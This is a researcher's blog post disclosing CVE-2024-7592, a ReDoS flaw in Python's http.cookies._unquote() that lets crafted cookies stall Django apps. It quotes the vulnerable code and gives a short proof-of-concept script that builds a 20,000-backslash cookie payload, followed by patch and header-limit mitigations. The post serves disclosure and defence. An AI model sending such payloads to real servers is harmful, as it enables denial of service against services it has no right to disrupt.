Your Django App Is Vulnerable to DoS Attacks: Update Your Python Version Now

Your Django App Is Vulnerable to DoS Attacks: Update Your Python Version Now
Seoul City Hall, Jong-ro, Korea

Hi, I'm Seokchan Yoon. Recently, a vulnerability I reported to the Python Project was made public.

The vulnerability, known as CVE-2024-7592, has a severity score of 7.5 out of 10 according to CVSS 3.x, which is considered 'High'. If it's exploited, it could cause a Denial of Service on any Django application exposed to the internet.

In this post, I'd like to explain in detail a DoS vulnerability found in the _unquote() method of Python's standard library module http.cookies, and how this vulnerability affects the parse_cookie() function in the Django framework. This issue highlights how maliciously crafted cookie values can severely impact application performance.

Regex Performance and ReDoS Vulnerabilities

Regular expressions are powerful tools widely used for text processing. However, as the complexity of a regular expression increases, the time it takes to parse and match text can grow even exponentially. Python's re module uses a backtracking-based NFA (non-deterministic finite automaton) to handle regular expressions. This approach can allow for complex features like backreferences and lookaheads but can result in exponential time complexity for certain input patterns.

For example, let's consider the regular expression (a+)+b. When processing an input like aaaaaaaaaaaaaaaX, the regex engine tries all possible combinations of a and backtracks extensively. This process can lead to a time complexity of O(2^n). (The n is the length of the input string). Such behavior can be exploited to perform a DoS attack, and this kind of attack is known as a ReDoS (Regular Expression Denial of Service).

Time Complexity of Regular Expressions

The time it takes for a regex-based search to process input depends on the pattern used. Simple patterns can usually be handled in linear time, but when using nested groups or certain operators like + and *, the processing time can grow quadratically or even exponentially.

import re

# the example of complex regex string
complex_regex = re.compile("(a+)+$")
def check_complex_string(s):
    return complex_regex.match(s)

payload = "aaaaaaaaaaaaaaaaaaaaax"
check_complex_string(payload)  # The payload makes backtracks

Based on my experience reporting ReDoS-related security issues to teams such as Python, Django, Ruby, Ruby on Rails, and Apache Airflow this year, many open-source maintainers consider their software vulnerable to ReDoS when processing time increases non-linearly with the length of the input string.

Analysis of CVE-2024-7592

CVE-2024-7592 is a vulnerability found in the _unquote() function, stemming from inefficient handling of backslash escape characters (\) implemented with regular expressions.

# http/cookies.py
_OctalPatt = re.compile(r"\\[0-3][0-7][0-7]")
_QuotePatt = re.compile(r"[\\].")
def _unquote(str):
    # ... (code omitted for brevity)
    while 0 <= i < n:
        o_match = _OctalPatt.search(str, i)
        q_match = _QuotePatt.search(str, i)
        
        # ... (further processing)
        
        if q_match and (not o_match or k < j):     # QuotePatt matched
            res.append(str[i:k])
            res.append(str[k+1])
            i = k + 2
        # ...

In the code, unnecessary linear searches are repeated multiple times, leading to quadratic complexity in the worst case. This makes it vulnerable to ReDoS attacks. Before it was patched, the implementation of the _unquote() function had these inefficiencies. You can see the code at following link:

cpython/Lib/http/cookies.py at d60b97a833fd3284f2ee249d32c97fc359d83486 · python/cpython
The Python programming language. Contribute to python/cpython development by creating an account on GitHub.

And the link below is the issue I made on python/cpython repository.

CVE-2024-7592: Denial of Service Vulnerability in `http.cookies._unquote()` · Issue #123067 · python/cpython
Bug report Bug description: Description A potential Denial of Service (DoS) vulnerability, identified as CVE-2024-7592, has been discovered in the _unquote() method of the http.cookies module in Py...

Impact on Django

The CVE-2024-7592 has significant implications for the Django framework. Specifically, the vulnerability in Django's parse_cookie() function can cause performance slowdowns when processing crafted cookie values. This happens because parse_cookie() uses the _unquote() method to handle special characters in cookie values.

from http import cookies

def parse_cookie(cookie):
    """
    Return a dictionary parsed from a `Cookie:` header string.
    """
    cookiedict = {}
    for chunk in cookie.split(";"):
        if "=" in chunk:
            key, val = chunk.split("=", 1)
        else:
            # Assume an empty name per
            # https://bugzilla.mozilla.org/show_bug.cgi?id=169091
            key, val = "", chunk
        key, val = key.strip(), val.strip()
        if key or val:
            # unquote using Python's algorithm.
            cookiedict[key] = cookies._unquote(val) # CVE-2024-7592 affected
    return cookiedict
django/http/cookie.py

Ripple Effects

When Django processes HTTP requests, it automatically calls the parse_cookie() function to parse cookies. Even if your view function doesn't explicitly access request.COOKIES, Django internally stores cookie information and uses _unquote() to process it.

Even pages that return a 404 Not Found error will execute the parse_cookie() function. This means that regardless of the code you've written, any web service based on Django could be affected by this vulnerability.

PoC

You can trigger a ReDoS with following python script:

#!/usr/bin/env python3

"""
A potential DoS vulnerability in Django's parse_cookie function.
"""

import time
from django.http import parse_cookie


# MAX_LENGTH = 8000
MAX_LENGTH = 20000


def test(payload: str) -> None:
    print('[DEBUG] Payload Size : %d bytes' % len(payload))

    start_time = time.time()
    parse_cookie(payload)
    end_time = time.time()

    print('[DEBUG] Elapsed Time : %lf seconds' % (end_time - start_time))


if __name__ == '__main__'
    payload = 'a=' + '"' + '\\' * MAX_LENGTH + '"' + ';'

    test(payload)

To show how serious this vulnerability is, I created a PoC that demonstrates how a specially crafted cookie can cause a Django server to slow down dramatically, leading to a DoS condition.

0:00
/
4.90MB

For the PoC, I set up a Django server using uWSGI with the following configuration (uwsgi.ini):

[uwsgi]
http = :8000
module = simpleblog.wsgi
master = true
processes = 2
buffer-size = 8192

Mitigation

The Python team released a patch to fix CVE-2024-7592. This update optimizes the performance of the regular expression used in the _unquote() function and improves how it handles malicious input, enhancing the stability of applications.

If you're using the Django framework, it's recommended to update to Python 3.12.6, which was released on September 6, 2024.

If You Can't Apply the Patch

If you can't update Python immediately due to system dependencies, you can still defend against DoS attacks by limiting the size of HTTP request headers. Proxy servers like Apache, nginx, or uWSGI allow you to set limits on HTTP header sizes. By default, these servers have limits of 8KB (Apache) and 4KB (nginx and uWSGI). These settings can block most abnormal traffic, protect server resources, and prevent severe service interruptions.

However, even with an 8KB limit, the time it takes to parse cookies can increase significantly—from microseconds to much longer. Therefore, applying the patch is essential to fully mitigate the vulnerability.

Stay safe and make sure to keep your systems updated!

ch4n3-yoon - Overview
Web Security Reseacher / Majoring in computer engineering at Kyung Hee Univ. / Interested in *PWN* - ch4n3-yoon